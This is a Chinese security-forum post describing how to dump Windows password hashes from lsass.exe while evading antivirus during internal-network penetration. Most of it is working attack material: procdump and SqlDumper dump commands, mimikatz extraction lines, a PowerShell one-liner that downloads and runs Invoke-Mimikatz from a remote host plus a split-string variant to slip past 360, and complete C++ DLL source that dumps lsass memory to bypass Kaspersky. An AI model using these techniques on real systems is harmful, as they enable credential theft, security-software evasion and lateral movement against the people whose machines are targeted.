安全矩阵

 找回密码
 立即注册
搜索
查看: 4441|回复: 0

【红蓝对抗】内网渗透-免杀抓取windows hash

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-3-31 20:24:54 | 显示全部楼层 |阅读模式
本帖最后由 gclome 于 2020-3-31 20:26 编辑

原文链接:【红蓝对抗】内网渗透-免杀抓取windows hash

前言

内网渗透时,获得主机管理员权限后,通常会抓取用户的明文密码或hash,进行pth攻击。
大部分情况会遇到防护软件,常规抓取方法失效,因此需要对防护进行绕过。


Procdump.exe

Procdump是微软官方发布的工具,使用该工具可以把lsass的内存dump下来,可以绕过大多数的防护软件。
首先使用procdump.exe把进程lsass.exe 的内存dump下来

  1. procdump.exe -accepteula -ma lsass.exe lsass.dmp
复制代码



实战中把 lsass.dmp 下载下来,在相同版本的操作系统使用mimikatz读取密码hash。
  1. mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
复制代码


SqlDumper.exe

SqlDumper也属于微软出品,存在于SQL Server文件夹中,大多数杀软不会拦截。
默认存放在C:\Program Files\Microsoft SQL Server\number\Shared,number代表SQL Server的版本。
如果目标机器没有安装SQL Server,可以自己上传SqlDumper.exe。

  1. tasklist /svc | findstr lsass.exe  查看lsass.exe 的PID号
  2. Sqldumper.exe ProcessID 0 0x01100  导出mdmp文件
复制代码



实战中下把生成的mdmp文件下载到本地,使用相同的操作系统打开。
  1. mimikatz.exe "sekurlsa::minidump SQLDmpr0001.mdmp" "sekurlsa::logonPasswords full" exit
复制代码


可过360,无法过卡巴斯基。


powershell免杀

结合powershell的免杀,加载Invoke-Mimikatz.ps1脚本获取密码hash。
使用命令远程加载ps1脚本。

  1. powershell IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/ps/Invoke-Mimikatz.ps1'); Invoke-Mimikatz
复制代码


会被360拦截,绕过方法很多,这里可以使用分割绕过。
  1. powershell "$a='IEX((New-Object Net.WebClient).DownloadString(''ht';$b='tp://x.x.x.x/ps/Invoke-Mimikatz.ps1'')); Invoke-Mimikatz';IEX ($a+$b)"
复制代码


无法绕过卡巴斯基。


绕过卡巴斯基抓取lsass中密码

卡巴斯基对lsass.exe防护相当变态,上面的几种方法都无法绕过卡巴斯基。
使用国外大佬XPN使用RPC控制lsass加载SSP的代码,https://gist.github.com/xpn/c7f6d15bf15750eae3ec349e7ec2380e
将三个文件下载到本地,使用visual studio进行编译,需要修改了几个地方。
(1)添加如下代码

  1. #pragma comment(lib, "Rpcrt4.lib") (引入Rpcrt4.lib库文件)
复制代码
(2)将.c文件后缀改成.cpp (使用了c++代码,需要更改后缀)
(3) 编译时选择x64 (XPN大佬提供的是64位代码)
编译代码得到.exe文件。
然后用生成的exe,加载dump内存的dll文件,这里使用的是奇安信A-team团队公布的源码,并在基础上,增加了自动获取lsass的PID号功能,无需每次使用重复编译。
dll源码如下:

  1. #include <cstdio>
  2. #include <windows.h>
  3. #include <DbgHelp.h>
  4. #include <iostream>
  5. #include <string>
  6. #include <map>
  7. #include <TlHelp32.h>

  8. #pragma comment(lib,"Dbghelp.lib")
  9. using namespace std;

  10. int FindPID()
  11. {
  12.     PROCESSENTRY32 pe32;
  13.     pe32.dwSize = sizeof(pe32);

  14.     HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  15.     if (hProcessSnap == INVALID_HANDLE_VALUE) {
  16.         cout << "CreateToolhelp32Snapshot Error!" << endl;;
  17.         return false;
  18.     }

  19.     BOOL bResult = Process32First(hProcessSnap, &pe32);

  20.     while (bResult)
  21.     {
  22.         if (_wcsicmp(pe32.szExeFile, L"lsass.exe") == 0)
  23.         {
  24.             return pe32.th32ProcessID;
  25.         }
  26.         bResult = Process32Next(hProcessSnap, &pe32);
  27.     }

  28.     CloseHandle(hProcessSnap);

  29.     return -1;
  30. }

  31. typedef HRESULT(WINAPI* _MiniDumpW)(
  32.     DWORD arg1, DWORD arg2, PWCHAR cmdline);

  33. typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(
  34.     ULONG Privilege, BOOL Enable,
  35.     BOOL CurrentThread, PULONG Enabled);

  36. int dump() {

  37.     HRESULT             hr;
  38.     _MiniDumpW          MiniDumpW;
  39.     _RtlAdjustPrivilege RtlAdjustPrivilege;
  40.     ULONG               t;

  41.     MiniDumpW = (_MiniDumpW)GetProcAddress(
  42.         LoadLibrary(L"comsvcs.dll"), "MiniDumpW");

  43.     RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(
  44.         GetModuleHandle(L"ntdll"), "RtlAdjustPrivilege");

  45.     if (MiniDumpW == NULL) {

  46.         return 0;
  47.     }
  48.     // try enable debug privilege
  49.     RtlAdjustPrivilege(20, TRUE, FALSE, &t);

  50.     wchar_t  ws[100];
  51.     swprintf(ws, 100, L"%hd%hs", FindPID(), " C:\\1.bin full");

  52.     MiniDumpW(0, 0, ws);
  53.     return 0;

  54. }
  55. BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) {
  56.     switch (ul_reason_for_call) {
  57.     case DLL_PROCESS_ATTACH:
  58.         dump();
  59.         break;
  60.     case DLL_THREAD_ATTACH:
  61.     case DLL_THREAD_DETACH:
  62.     case DLL_PROCESS_DETACH:
  63.         break;
  64.     }
  65.     return TRUE;
  66. }
复制代码

在测试机中安装卡巴斯基进行测试,使用Procdump会被拦截。


把编译好的文件exe和dll放在同一目录下。


使用管理员权限运行exe,加载dll文件。
存在三个需要注意的点:
1、调用dll文件要是完整的绝对路径
2、文件要放在英文路径下
3、在win7下测试只能执行一次,第二次执行电脑会重启,其它系统未测试。


成功绕过防护生成了1.bin文件。

实战中把生成的文件下载到本地,然后在版本相同的操作系统使用mimikatz读取。

  1. mimikatz# sekurlsa::minidump 1.bin
  2. mimikatz# sekurlsa::loginpasswords full
复制代码
成功读取到密码hash。


对于无法读出明文的系统,可以尝试在线破解hash获取明文。
https://www.objectif-securite.ch/en/ophcrack
http://cracker.offensive-security.com/index.php

参考链接

https://www.jianshu.com/p/7ccf6e15fbe0
https://blog.xpnsec.com/exploring-mimikatz-part-2/
https://blog.csdn.net/xiangshen1990/article/details/104872566
https://mp.weixin.qq.com/s/8OueE-bEIdkvwPWu3KqrcQ





回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-16 16:12 , Processed in 0.017276 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表